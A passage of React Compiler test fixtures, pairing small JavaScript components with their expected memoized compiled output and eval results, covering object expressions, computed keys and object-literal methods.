    "content": "\n## Input\n\n```javascript\nfunction Foo() {\n  const x = () => {\n    window.href = 'foo';\n  };\n  const y = {x};\n  return <Bar y={y} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Foo,\n  params: [],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction Foo() {\n  const $ = _c(1);\n  const x = _temp;\n  let t0;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    const y = { x };\n    t0 = <Bar y={y} />;\n    $[0] = t0;\n  } else {\n    t0 = $[0];\n  }\n  return t0;\n}\nfunction _temp() {\n  window.href = \"foo\";\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Foo,\n  params: [],\n};\n\n```\n      \n### Eval output\n(kind: exception) Bar is not defined"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-expression-captures-function-with-global-mutation.js",
    "content": "function Foo() {\n  const x = () => {\n    window.href = 'foo';\n  };\n  const y = {x};\n  return <Bar y={y} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Foo,\n  params: [],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-expression-computed-key-constant-number.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {identity} from 'shared-runtime';\n\nfunction Component(props) {\n  const key = 42;\n  const context = {\n    [key]: identity([props.value]),\n  };\n  return context;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{value: 'hello!'}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { identity } from \"shared-runtime\";\n\nfunction Component(props) {\n  const $ = _c(4);\n  let t0;\n  if ($[0] !== props.value) {\n    t0 = identity([props.value]);\n    $[0] = props.value;\n    $[1] = t0;\n  } else {\n    t0 = $[1];\n  }\n  let t1;\n  if ($[2] !== t0) {\n    t1 = { [42]: t0 };\n    $[2] = t0;\n    $[3] = t1;\n  } else {\n    t1 = $[3];\n  }\n  const context = t1;\n  return context;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ value: \"hello!\" }],\n};\n\n```\n      \n### Eval output\n(kind: ok) {\"42\":[\"hello!\"]}"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-expression-computed-key-constant-number.js",
    "content": "import {identity} from 'shared-runtime';\n\nfunction Component(props) {\n  const key = 42;\n  const context = {\n    [key]: identity([props.value]),\n  };\n  return context;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{value: 'hello!'}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-expression-computed-key-constant-string.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {identity} from 'shared-runtime';\n\nfunction Component(props) {\n  const key = 'KeyName';\n  const context = {\n    [key]: identity([props.value]),\n  };\n  return context;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{value: 42}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { identity } from \"shared-runtime\";\n\nfunction Component(props) {\n  const $ = _c(4);\n  let t0;\n  if ($[0] !== props.value) {\n    t0 = identity([props.value]);\n    $[0] = props.value;\n    $[1] = t0;\n  } else {\n    t0 = $[1];\n  }\n  let t1;\n  if ($[2] !== t0) {\n    t1 = { [\"KeyName\"]: t0 };\n    $[2] = t0;\n    $[3] = t1;\n  } else {\n    t1 = $[3];\n  }\n  const context = t1;\n  return context;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ value: 42 }],\n};\n\n```\n      \n### Eval output\n(kind: ok) {\"KeyName\":[42]}"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-expression-computed-key-constant-string.js",
    "content": "import {identity} from 'shared-runtime';\n\nfunction Component(props) {\n  const key = 'KeyName';\n  const context = {\n    [key]: identity([props.value]),\n  };\n  return context;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{value: 42}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-expression-computed-key-modified-during-after-construction-sequence-expr.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {identity, mutate, mutateAndReturn} from 'shared-runtime';\n\nfunction Component(props) {\n  const key = {};\n  const context = {\n    [(mutate(key), key)]: identity([props.value]),\n  };\n  mutate(key);\n  return [context, key];\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{value: 42}],\n  sequentialRenders: [{value: 42}, {value: 42}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { identity, mutate, mutateAndReturn } from \"shared-runtime\";\n\nfunction Component(props) {\n  const $ = _c(2);\n  let t0;\n  if ($[0] !== props.value) {\n    const key = {};\n    const context = { [(mutate(key), key)]: identity([props.value]) };\n    mutate(key);\n    t0 = [context, key];\n    $[0] = props.value;\n    $[1] = t0;\n  } else {\n    t0 = $[1];\n  }\n  return t0;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ value: 42 }],\n  sequentialRenders: [{ value: 42 }, { value: 42 }],\n};\n\n```\n      \n### Eval output\n(kind: ok) [{\"[object Object]\":[42]},{\"wat0\":\"joe\",\"wat1\":\"joe\"}]\n[{\"[object Object]\":[42]},{\"wat0\":\"joe\",\"wat1\":\"joe\"}]"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-expression-computed-key-modified-during-after-construction-sequence-expr.js",
    "content": "import {identity, mutate, mutateAndReturn} from 'shared-runtime';\n\nfunction Component(props) {\n  const key = {};\n  const context = {\n    [(mutate(key), key)]: identity([props.value]),\n  };\n  mutate(key);\n  return [context, key];\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{value: 42}],\n  sequentialRenders: [{value: 42}, {value: 42}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-expression-computed-key-modified-during-after-construction.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {identity, mutate, mutateAndReturn} from 'shared-runtime';\n\nfunction Component(props) {\n  const key = {};\n  const context = {\n    [mutateAndReturn(key)]: identity([props.value]),\n  };\n  mutate(key);\n  return context;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{value: 42}],\n  sequentialRenders: [{value: 42}, {value: 42}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { identity, mutate, mutateAndReturn } from \"shared-runtime\";\n\nfunction Component(props) {\n  const $ = _c(2);\n  let context;\n  if ($[0] !== props.value) {\n    const key = {};\n    context = { [mutateAndReturn(key)]: identity([props.value]) };\n    mutate(key);\n    $[0] = props.value;\n    $[1] = context;\n  } else {\n    context = $[1];\n  }\n  return context;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ value: 42 }],\n  sequentialRenders: [{ value: 42 }, { value: 42 }],\n};\n\n```\n      \n### Eval output\n(kind: ok) {\"[object Object]\":[42]}\n{\"[object Object]\":[42]}"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-expression-computed-key-modified-during-after-construction.js",
    "content": "import {identity, mutate, mutateAndReturn} from 'shared-runtime';\n\nfunction Component(props) {\n  const key = {};\n  const context = {\n    [mutateAndReturn(key)]: identity([props.value]),\n  };\n  mutate(key);\n  return context;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{value: 42}],\n  sequentialRenders: [{value: 42}, {value: 42}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-expression-computed-key-mutate-key-while-constructing-object.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {identity, mutate, mutateAndReturn} from 'shared-runtime';\n\nfunction Component(props) {\n  const key = {};\n  const context = {\n    [mutateAndReturn(key)]: identity([props.value]),\n  };\n  return context;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{value: 42}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { identity, mutate, mutateAndReturn } from \"shared-runtime\";\n\nfunction Component(props) {\n  const $ = _c(5);\n  let t0;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    const key = {};\n    t0 = mutateAndReturn(key);\n    $[0] = t0;\n  } else {\n    t0 = $[0];\n  }\n  let t1;\n  if ($[1] !== props.value) {\n    t1 = identity([props.value]);\n    $[1] = props.value;\n    $[2] = t1;\n  } else {\n    t1 = $[2];\n  }\n  let t2;\n  if ($[3] !== t1) {\n    t2 = { [t0]: t1 };\n    $[3] = t1;\n    $[4] = t2;\n  } else {\n    t2 = $[4];\n  }\n  const context = t2;\n  return context;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ value: 42 }],\n};\n\n```\n      \n### Eval output\n(kind: ok) {\"[object Object]\":[42]}"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-expression-computed-key-mutate-key-while-constructing-object.js",
    "content": "import {identity, mutate, mutateAndReturn} from 'shared-runtime';\n\nfunction Component(props) {\n  const key = {};\n  const context = {\n    [mutateAndReturn(key)]: identity([props.value]),\n  };\n  return context;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{value: 42}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-expression-computed-key-non-reactive.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {identity} from 'shared-runtime';\n\nconst SCALE = 2;\n\nfunction Component(props) {\n  const key = SCALE;\n  const context = {\n    [key]: identity([props.value]),\n  };\n  return context;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{key: 'Sathya', value: 'Compiler'}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { identity } from \"shared-runtime\";\n\nconst SCALE = 2;\n\nfunction Component(props) {\n  const $ = _c(4);\n  let t0;\n  if ($[0] !== props.value) {\n    t0 = identity([props.value]);\n    $[0] = props.value;\n    $[1] = t0;\n  } else {\n    t0 = $[1];\n  }\n  let t1;\n  if ($[2] !== t0) {\n    t1 = { [SCALE]: t0 };\n    $[2] = t0;\n    $[3] = t1;\n  } else {\n    t1 = $[3];\n  }\n  const context = t1;\n  return context;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ key: \"Sathya\", value: \"Compiler\" }],\n};\n\n```\n      \n### Eval output\n(kind: ok) {\"2\":[\"Compiler\"]}"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-expression-computed-key-non-reactive.js",
    "content": "import {identity} from 'shared-runtime';\n\nconst SCALE = 2;\n\nfunction Component(props) {\n  const key = SCALE;\n  const context = {\n    [key]: identity([props.value]),\n  };\n  return context;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{key: 'Sathya', value: 'Compiler'}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-expression-computed-key-object-mutated-later.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {identity, mutate} from 'shared-runtime';\n\nfunction Component(props) {\n  const key = {};\n  const context = {\n    [key]: identity([props.value]),\n  };\n  mutate(key);\n  return context;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{value: 42}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { identity, mutate } from \"shared-runtime\";\n\nfunction Component(props) {\n  const $ = _c(2);\n  let context;\n  if ($[0] !== props.value) {\n    const key = {};\n    context = { [key]: identity([props.value]) };\n    mutate(key);\n    $[0] = props.value;\n    $[1] = context;\n  } else {\n    context = $[1];\n  }\n  return context;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ value: 42 }],\n};\n\n```\n      \n### Eval output\n(kind: ok) {\"[object Object]\":[42]}"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-expression-computed-key-object-mutated-later.js",
    "content": "import {identity, mutate} from 'shared-runtime';\n\nfunction Component(props) {\n  const key = {};\n  const context = {\n    [key]: identity([props.value]),\n  };\n  mutate(key);\n  return context;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{value: 42}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-expression-computed-key.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {identity} from 'shared-runtime';\n\nconst SCALE = 2;\n\nfunction Component(props) {\n  const {key} = props;\n  const context = {\n    [key]: identity([props.value, SCALE]),\n  };\n  return context;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{key: 'Sathya', value: 'Compiler'}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { identity } from \"shared-runtime\";\n\nconst SCALE = 2;\n\nfunction Component(props) {\n  const $ = _c(5);\n  const { key } = props;\n  let t0;\n  if ($[0] !== props.value) {\n    t0 = identity([props.value, SCALE]);\n    $[0] = props.value;\n    $[1] = t0;\n  } else {\n    t0 = $[1];\n  }\n  let t1;\n  if ($[2] !== key || $[3] !== t0) {\n    t1 = { [key]: t0 };\n    $[2] = key;\n    $[3] = t0;\n    $[4] = t1;\n  } else {\n    t1 = $[4];\n  }\n  const context = t1;\n  return context;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ key: \"Sathya\", value: \"Compiler\" }],\n};\n\n```\n      \n### Eval output\n(kind: ok) {\"Sathya\":[\"Compiler\",2]}"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-expression-computed-key.js",
    "content": "import {identity} from 'shared-runtime';\n\nconst SCALE = 2;\n\nfunction Component(props) {\n  const {key} = props;\n  const context = {\n    [key]: identity([props.value, SCALE]),\n  };\n  return context;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{key: 'Sathya', value: 'Compiler'}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-expression-computed-member.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {identity, mutate, mutateAndReturn} from 'shared-runtime';\n\nfunction Component(props) {\n  const key = {a: 'key'};\n  const context = {\n    [key.a]: identity([props.value]),\n  };\n  mutate(key);\n  return context;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{value: 42}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { identity, mutate, mutateAndReturn } from \"shared-runtime\";\n\nfunction Component(props) {\n  const $ = _c(4);\n  let context;\n  if ($[0] !== props.value) {\n    const key = { a: \"key\" };\n    const t0 = key.a;\n    const t1 = identity([props.value]);\n    let t2;\n    if ($[2] !== t1) {\n      t2 = { [t0]: t1 };\n      $[2] = t1;\n      $[3] = t2;\n    } else {\n      t2 = $[3];\n    }\n    context = t2;\n    mutate(key);\n    $[0] = props.value;\n    $[1] = context;\n  } else {\n    context = $[1];\n  }\n  return context;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ value: 42 }],\n};\n\n```\n      \n### Eval output\n(kind: ok) {\"key\":[42]}"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-expression-computed-member.js",
    "content": "import {identity, mutate, mutateAndReturn} from 'shared-runtime';\n\nfunction Component(props) {\n  const key = {a: 'key'};\n  const context = {\n    [key.a]: identity([props.value]),\n  };\n  mutate(key);\n  return context;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{value: 42}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-expression-member-expr-call.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {identity, mutate, mutateAndReturn} from 'shared-runtime';\n\nfunction Component(props) {\n  const obj = {mutateAndReturn};\n  const key = {};\n  const context = {\n    [obj.mutateAndReturn(key)]: identity([props.value]),\n  };\n  mutate(key);\n  return context;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{value: 42}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { identity, mutate, mutateAndReturn } from \"shared-runtime\";\n\nfunction Component(props) {\n  const $ = _c(2);\n  let context;\n  if ($[0] !== props.value) {\n    const obj = { mutateAndReturn };\n    const key = {};\n    context = { [obj.mutateAndReturn(key)]: identity([props.value]) };\n    mutate(key);\n    $[0] = props.value;\n    $[1] = context;\n  } else {\n    context = $[1];\n  }\n  return context;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ value: 42 }],\n};\n\n```\n      \n### Eval output\n(kind: ok) {\"[object Object]\":[42]}"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-expression-member-expr-call.js",
    "content": "import {identity, mutate, mutateAndReturn} from 'shared-runtime';\n\nfunction Component(props) {\n  const obj = {mutateAndReturn};\n  const key = {};\n  const context = {\n    [obj.mutateAndReturn(key)]: identity([props.value]),\n  };\n  mutate(key);\n  return context;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{value: 42}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-expression-string-literal-key.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component(props) {\n  const x = {['foo']: props.foo};\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction Component(props) {\n  const $ = _c(2);\n  let t0;\n  if ($[0] !== props.foo) {\n    t0 = { foo: props.foo };\n    $[0] = props.foo;\n    $[1] = t0;\n  } else {\n    t0 = $[1];\n  }\n  const x = t0;\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [\"TodoAdd\"],\n  isComponent: \"TodoAdd\",\n};\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-expression-string-literal-key.js",
    "content": "function Component(props) {\n  const x = {['foo']: props.foo};\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-keys.expect.md",
    "content": "\n## Input\n\n```javascript\n// @validatePreserveExistingMemoizationGuarantees\nimport {useMemo} from 'react';\nimport {Stringify} from 'shared-runtime';\n\n// derived from https://github.com/facebook/react/issues/32261\nfunction Component({items}) {\n  const record = useMemo(\n    () =>\n      Object.fromEntries(\n        items.map(item => [item.id, ref => <Stringify ref={ref} {...item} />])\n      ),\n    [items]\n  );\n\n  // Without a declaration for Object.entries(), this would be assumed to mutate\n  // `record`, meaning existing memoization couldn't be preserved\n  return (\n    <div>\n      {Object.keys(record).map(id => (\n        <Stringify key={id} render={record[id]} />\n      ))}\n    </div>\n  );\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [\n    {\n      items: [\n        {id: '0', name: 'Hello'},\n        {id: '1', name: 'World!'},\n      ],\n    },\n  ],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @validatePreserveExistingMemoizationGuarantees\nimport { useMemo } from \"react\";\nimport { Stringify } from \"shared-runtime\";\n\n// derived from https://github.com/facebook/react/issues/32261\nfunction Component(t0) {\n  const $ = _c(7);\n  const { items } = t0;\n  let t1;\n  if ($[0] !== items) {\n    t1 = Object.fromEntries(items.map(_temp));\n    $[0] = items;\n    $[1] = t1;\n  } else {\n    t1 = $[1];\n  }\n  const record = t1;\n  let t2;\n  if ($[2] !== record) {\n    t2 = Object.keys(record);\n    $[2] = record;\n    $[3] = t2;\n  } else {\n    t2 = $[3];\n  }\n  let t3;\n  if ($[4] !== record || $[5] !== t2) {\n    t3 = (\n      <div>\n        {t2.map((id) => (\n          <Stringify key={id} render={record[id]} />\n        ))}\n      </div>\n    );\n    $[4] = record;\n    $[5] = t2;\n    $[6] = t3;\n  } else {\n    t3 = $[6];\n  }\n  return t3;\n}\nfunction _temp(item) {\n  return [item.id, (ref) => <Stringify ref={ref} {...item} />];\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [\n    {\n      items: [\n        { id: \"0\", name: \"Hello\" },\n        { id: \"1\", name: \"World!\" },\n      ],\n    },\n  ],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div><div>{\"render\":\"[[ function params=1 ]]\"}</div><div>{\"render\":\"[[ function params=1 ]]\"}</div></div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-keys.js",
    "content": "// @validatePreserveExistingMemoizationGuarantees\nimport {useMemo} from 'react';\nimport {Stringify} from 'shared-runtime';\n\n// derived from https://github.com/facebook/react/issues/32261\nfunction Component({items}) {\n  const record = useMemo(\n    () =>\n      Object.fromEntries(\n        items.map(item => [item.id, ref => <Stringify ref={ref} {...item} />])\n      ),\n    [items]\n  );\n\n  // Without a declaration for Object.entries(), this would be assumed to mutate\n  // `record`, meaning existing memoization couldn't be preserved\n  return (\n    <div>\n      {Object.keys(record).map(id => (\n        <Stringify key={id} render={record[id]} />\n      ))}\n    </div>\n  );\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [\n    {\n      items: [\n        {id: '0', name: 'Hello'},\n        {id: '1', name: 'World!'},\n      ],\n    },\n  ],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-literal-method-call-in-ternary-test.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {\n  createHookWrapper,\n  identity,\n  CONST_STRING0,\n  CONST_STRING1,\n} from 'shared-runtime';\n\nfunction useHook({value}) {\n  return {\n    getValue() {\n      return identity(value);\n    },\n  }.getValue()\n    ? CONST_STRING0\n    : CONST_STRING1;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: createHookWrapper(useHook),\n  params: [{value: 0}],\n};\n\n```\n\n## Code\n\n```javascript\nimport {\n  createHookWrapper,\n  identity,\n  CONST_STRING0,\n  CONST_STRING1,\n} from \"shared-runtime\";\n\nfunction useHook(t0) {\n  const { value } = t0;\n  return {\n    getValue() {\n      return identity(value);\n    },\n  }.getValue()\n    ? CONST_STRING0\n    : CONST_STRING1;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: createHookWrapper(useHook),\n  params: [{ value: 0 }],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div>{\"result\":\"global string 1\",\"shouldInvokeFns\":true}</div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-literal-method-call-in-ternary-test.js",
    "content": "import {\n  createHookWrapper,\n  identity,\n  CONST_STRING0,\n  CONST_STRING1,\n} from 'shared-runtime';\n\nfunction useHook({value}) {\n  return {\n    getValue() {\n      return identity(value);\n    },\n  }.getValue()\n    ? CONST_STRING0\n    : CONST_STRING1;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: createHookWrapper(useHook),\n  params: [{value: 0}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-literal-method-derived-in-ternary-consequent.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {identity, createHookWrapper} from 'shared-runtime';\n\nfunction useHook({isCond, value}) {\n  return isCond\n    ? identity({\n        getValue() {\n          return value;\n        },\n      })\n    : 42;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: createHookWrapper(useHook),\n  params: [{isCond: true, value: 0}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { identity, createHookWrapper } from \"shared-runtime\";\n\nfunction useHook(t0) {\n  const $ = _c(3);\n  const { isCond, value } = t0;\n  let t1;\n  if ($[0] !== isCond || $[1] !== value) {\n    t1 = isCond\n      ? identity({\n          getValue() {\n            return value;\n          },\n        })\n      : 42;\n    $[0] = isCond;\n    $[1] = value;\n    $[2] = t1;\n  } else {\n    t1 = $[2];\n  }\n  return t1;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: createHookWrapper(useHook),\n  params: [{ isCond: true, value: 0 }],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div>{\"result\":{\"getValue\":{\"kind\":\"Function\",\"result\":0}},\"shouldInvokeFns\":true}</div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-literal-method-derived-in-ternary-consequent.js",
    "content": "import {identity, createHookWrapper} from 'shared-runtime';\n\nfunction useHook({isCond, value}) {\n  return isCond\n    ? identity({\n        getValue() {\n          return value;\n        },\n      })\n    : 42;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: createHookWrapper(useHook),\n  params: [{isCond: true, value: 0}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-literal-method-in-ternary-consequent.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {createHookWrapper} from 'shared-runtime';\n\nfunction useHook({isCond, value}) {\n  return isCond\n    ? {\n        getValue() {\n          return value;\n        },\n      }\n    : 42;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: createHookWrapper(useHook),\n  params: [{isCond: true, value: 0}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { createHookWrapper } from \"shared-runtime\";\n\nfunction useHook(t0) {\n  const $ = _c(3);\n  const { isCond, value } = t0;\n  let t1;\n  if ($[0] !== isCond || $[1] !== value) {\n    t1 = isCond\n      ? {\n          getValue() {\n            return value;\n          },\n        }\n      : 42;\n    $[0] = isCond;\n    $[1] = value;\n    $[2] = t1;\n  } else {\n    t1 = $[2];\n  }\n  return t1;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: createHookWrapper(useHook),\n  params: [{ isCond: true, value: 0 }],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div>{\"result\":{\"getValue\":{\"kind\":\"Function\",\"result\":0}},\"shouldInvokeFns\":true}</div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-literal-method-in-ternary-consequent.js",
    "content": "import {createHookWrapper} from 'shared-runtime';\n\nfunction useHook({isCond, value}) {\n  return isCond\n    ? {\n        getValue() {\n          return value;\n        },\n      }\n    : 42;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: createHookWrapper(useHook),\n  params: [{isCond: true, value: 0}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-literal-method-in-ternary-test.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {createHookWrapper, CONST_STRING0, CONST_STRING1} from 'shared-runtime';\n\nfunction useHook({value}) {\n  return {\n    getValue() {\n      return identity(value);\n    },\n  }\n    ? CONST_STRING0\n    : CONST_STRING1;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: createHookWrapper(useHook),\n  params: [{value: 0}],\n};\n\n```\n\n## Code\n\n```javascript\nimport {\n  createHookWrapper,\n  CONST_STRING0,\n  CONST_STRING1,\n} from \"shared-runtime\";\n\nfunction useHook(t0) {\n  const { value } = t0;\n  return {\n    getValue() {\n      return identity(value);\n    },\n  }\n    ? CONST_STRING0\n    : CONST_STRING1;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: createHookWrapper(useHook),\n  params: [{ value: 0 }],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div>{\"result\":\"global string 0\",\"shouldInvokeFns\":true}</div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-literal-method-in-ternary-test.js",
    "content": "import {createHookWrapper, CONST_STRING0, CONST_STRING1} from 'shared-runtime';\n\nfunction useHook({value}) {\n  return {\n    getValue() {\n      return identity(value);\n    },\n  }\n    ? CONST_STRING0\n    : CONST_STRING1;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: createHookWrapper(useHook),\n  params: [{value: 0}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-literal-spread-element.expect.md",
